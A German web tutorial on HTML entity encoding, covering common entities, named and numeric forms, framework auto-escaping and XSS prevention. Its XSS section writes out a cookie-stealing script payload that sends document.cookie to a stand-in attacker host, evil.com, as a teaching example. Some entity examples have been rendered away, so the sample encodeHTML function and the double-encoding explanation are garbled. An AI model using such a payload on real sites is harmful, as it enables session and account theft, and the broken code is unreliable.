HTML-Entities-Kodierung: Schützen Sie Ihre Webseiten

Wenn Sie schon einmal versucht haben, ein <div>-Tag als Text auf einer Webseite anzuzeigen und es stattdessen im DOM verschwinden sahen, kennen Sie das Problem bereits. Browser interpretieren bestimmte Zeichen als Markup-Anweisungen, nicht als Inhalt. HTML-Entities sind die Methode, dem Browser mitzuteilen: „Zeige dieses Zeichen wörtlich an, interpretiere es nicht."

Dieser Leitfaden behandelt die Entities, die Sie tatsächlich verwenden werden, wann Kodierung wichtig ist und wie Sie die Sicherheitslücken vermeiden, die durch deren Auslassung entstehen.

Warum HTML-Entities Existieren

HTML verwendet einige wenige Zeichen als strukturelle Trennzeichen. Die drei wichtigsten:

• < öffnet ein Tag
• > schließt ein Tag
• & beginnt eine Entity-Referenz

Wenn der Parser des Browsers auf <script> trifft, zeigt er keinen Text an – er führt JavaScript aus. Bei © rendert er ©. Diese Doppelnatur bedeutet: Wenn Sie diese Zeichen als sichtbaren Text anzeigen möchten, müssen Sie sie mit HTML-Entities escapen.

Eine HTML-Entity ist eine Zeichenkette, die mit & beginnt und mit ; endet. Dazwischen steht eine benannte Referenz (wie amp) oder ein numerischer Codepunkt (wie #38).

Referenz häufiger HTML-Entities

Hier sind die Entities, die Sie am häufigsten verwenden werden:

Die ersten fünf sind Pflicht. Wenn Sie nutzergenerierte Inhalte rendern oder Code anzeigen, werden Sie &, <, >, " und ' ständig verwenden.

Geschütztes Leerzeichen: Das Unauffällige

  verhindert einen Zeilenumbruch zwischen zwei Wörtern. Es ist nicht einfach „ein zusätzliches Leerzeichen" – Browser kollabieren mehrere normale Leerzeichen zu einem, aber   wird immer gerendert. Verwenden Sie es für:

• Einheiten bei Zahlen zusammenhalten: 100 km
• Verwaiste Wörter am Absatzende verhindern
• Preise formatieren: 99,99 €

Verwenden Sie   nicht für Layout-Abstände. Dafür gibt es CSS margin und padding.

Benannte vs Numerische vs Hexadezimale Entities

Es gibt drei Schreibweisen für dieselbe Entity:

<!-- Benannte Entity -->
&amp;

<!-- Dezimale numerische Entity -->
&#38;

<!-- Hexadezimale numerische Entity -->
&#x26;

Alle drei erzeugen das Kaufmännische-Und-Zeichen &. Wann welche verwenden:

Benannte Entities (&, <, ©) sind lesbar und selbstdokumentierend. Wenn jemand den HTML-Quellcode liest, vermittelt & sofort die Absicht. Verwenden Sie diese für gängige Zeichen.

Dezimale numerische Entities (&, ©) funktionieren für jeden Unicode-Codepunkt, auch für Zeichen ohne benannte Referenz. Verwenden Sie diese, wenn Sie Zeichen ohne benannte Entities benötigen oder HTML programmatisch erzeugen.

Hexadezimale Entities (&, ©) sind identisch mit dezimalen, verwenden aber Hexadezimalnotation. Nützlich bei der Arbeit mit Unicode-Tabellen (die Codepunkte in Hex auflisten) oder wenn Ihre Tools Hex-Werte ausgeben.

In der Praxis: Verwenden Sie benannte Entities für gängige Zeichen und numerische für alles andere. Benannte Entities werden von allen Browsern unterstützt und sind im Quellcode deutlich lesbarer.

Wann HTML-Zeichen Kodiert Werden Müssen

Code-Schnipsel Anzeigen

Wenn Ihre Seite Code-Beispiele zeigt, muss jedes < und > kodiert werden:

<!-- Das geht kaputt -->
<p>Verwenden Sie das <div>-Tag für Container.</p>

<!-- Das funktioniert -->
<p>Verwenden Sie das &lt;div&gt;-Tag für Container.</p>

Die meisten Template-Engines und Frameworks erledigen das automatisch bei Verwendung ihrer Standard-Ausgabesyntax. Aber wenn Sie rohes HTML schreiben oder Inhalte mit innerHTML einfügen, sind Sie auf sich allein gestellt.

Nutzergenerierte Inhalte

Alle Inhalte von Nutzern – Formulareingaben, Kommentare, Profilfelder, Suchanfragen – müssen vor dem Rendern kodiert werden. Das ist eine Sicherheitsanforderung, keine Option.

HTML-E-Mails

E-Mail-Clients sind berüchtigt für inkonsistentes Zeichen-Rendering. Die Kodierung von Sonderzeichen als Entities stellt die korrekte Anzeige in Gmail, Outlook, Apple Mail und allen anderen Clients sicher.

Content-Management-Systeme

Wenn Sie ein CMS aufbauen oder nutzen, sollte die Content-Pipeline HTML-Entities in der Ausgabephase kodieren. Der in der Datenbank gespeicherte Inhalt kann roh sein, aber was im Browser ankommt, muss escaped sein.

XSS-Prävention: Warum Kodierung ein Sicherheitsthema Ist

Wie XSS Funktioniert

Betrachten Sie eine Suchseite, die anzeigt, was der Nutzer gesucht hat:

<!-- Der Server rendert dies -->
<p>Sie suchten nach: BENUTZEREINGABE</p>

Wenn ein Nutzer normalen Text wie javascript tutorials eingibt, kein Problem. Aber was, wenn er eingibt:

<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>

Ohne Kodierung sieht der Browser ein echtes <script>-Tag und führt es aus. Der Angreifer hat jetzt die Cookies des Opfers, Session-Tokens und möglicherweise vollen Kontozugriff.

Die Lösung

Kodieren Sie die fünf kritischen Zeichen, bevor Sie nicht vertrauenswürdige Daten in HTML einfügen:

Eine minimale Kodierungsfunktion:

function encodeHTML(str) {
  return str
    .replace(/&/g, '&')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#39;');
}

Beachten Sie die Reihenfolge: & muss zuerst ersetzt werden. Wenn Sie zuerst < ersetzen (ergibt <) und dann & (macht < zu <), erhalten Sie Doppelkodierung.

Schutz auf Framework-Ebene

Moderne Frameworks handhaben die Kodierung standardmäßig:

• React: JSX escaped Werte in {}-Ausdrücken automatisch. dangerouslySetInnerHTML umgeht dies – vermeiden Sie es bei Nutzerinhalten.
• Angular: Template-Bindings werden automatisch bereinigt. [innerHTML] umgeht die Bereinigung.
• Vue: Die Mustache-Syntax {{ }} escaped automatisch. v-html nicht.
• Serverseitige Templates (EJS, Jinja2, Twig): Die meisten escapen standardmäßig, aber prüfen Sie Ihre Konfiguration.

Das Muster ist einheitlich: Der Standardweg ist sicher, und es gibt immer eine Hintertür für rohes HTML. Leiten Sie Benutzereingaben niemals durch die Hintertür.

HTML mit Unserem Tool Kodieren

Müssen Sie HTML-Entities schnell kodieren oder dekodieren? Unser HTML-Encoder erledigt das sofort:

• Text einfügen und kodierten Output mit einem Klick erhalten
• Unterstützt alle benannten und numerischen Entities
• Dekodiert Entities zurück in lesbaren Text
• Alles wird clientseitig verarbeitet – Ihre Daten verlassen nie Ihren Browser

Besonders nützlich für die Vorbereitung von Inhalten für HTML-E-Mails, die Kodierung von Code-Schnipseln für Dokumentation oder die Bereinigung von Text vor dem Einbetten in Templates.

Häufige Fehler Vermeiden

Doppelkodierung: Text zweimal durch einen Encoder zu schicken macht aus & ein &. Wenn auf Ihrer Seite & als wörtlicher Text erscheint, wurde irgendwo in der Pipeline doppelt kodiert.

Kodierung innerhalb von <script>-Tags: HTML-Entity-Kodierung funktioniert nicht in Script-Blöcken. Der JavaScript-Parser versteht < nicht – er sieht es als die wörtliche Zeichenkette <. Für Inline-Scripts verwenden Sie JavaScript-String-Escaping.

  für Abstände verwenden: Das verursacht Barrierefreiheitsprobleme. Screenreader können jedes geschützte Leerzeichen einzeln aussprechen. Verwenden Sie CSS für visuellen Abstand.

Attributwerte vergessen: Kodierung betrifft nicht nur Textinhalt. Attributwerte brauchen ebenfalls Kodierung, besonders wenn sie Benutzereingaben enthalten:

<!-- Gefährlich -->
<input value="BENUTZEREINGABE">

<!-- Sicher -->
<input value="&quot;kodierter&quot; Wert">

Kurzreferenz: Kodierungs-Entscheidungsbaum

1. Ist der Inhalt nutzergeneriert? → Immer kodieren
2. Zeigen Sie Code an? → <, > und & kodieren
3. Geht es in ein HTML-Attribut? → Auch " und ' kodieren
4. Geht es in eine URL? → URL-Kodierung verwenden (siehe unseren URL-Kodierungs-Leitfaden)
5. Geht es in JavaScript? → JavaScript-Escaping verwenden, nicht HTML-Entities

Verwandte Ressourcen

• Base64-Kodierung Erklärt — ein weiteres wesentliches Kodierungsformat für die Webentwicklung verstehen
• URL-Kodierungs-Leitfaden — wann und wie Zeichen in URLs prozentkodiert werden
• HTML-Encoder-Tool — HTML-Entities sofort im Browser kodieren und dekodieren

---

🛠️ Testen Sie unseren HTML-Encoder, um HTML-Entities direkt im Browser zu kodieren und dekodieren – keine Daten werden an irgendeinen Server gesendet.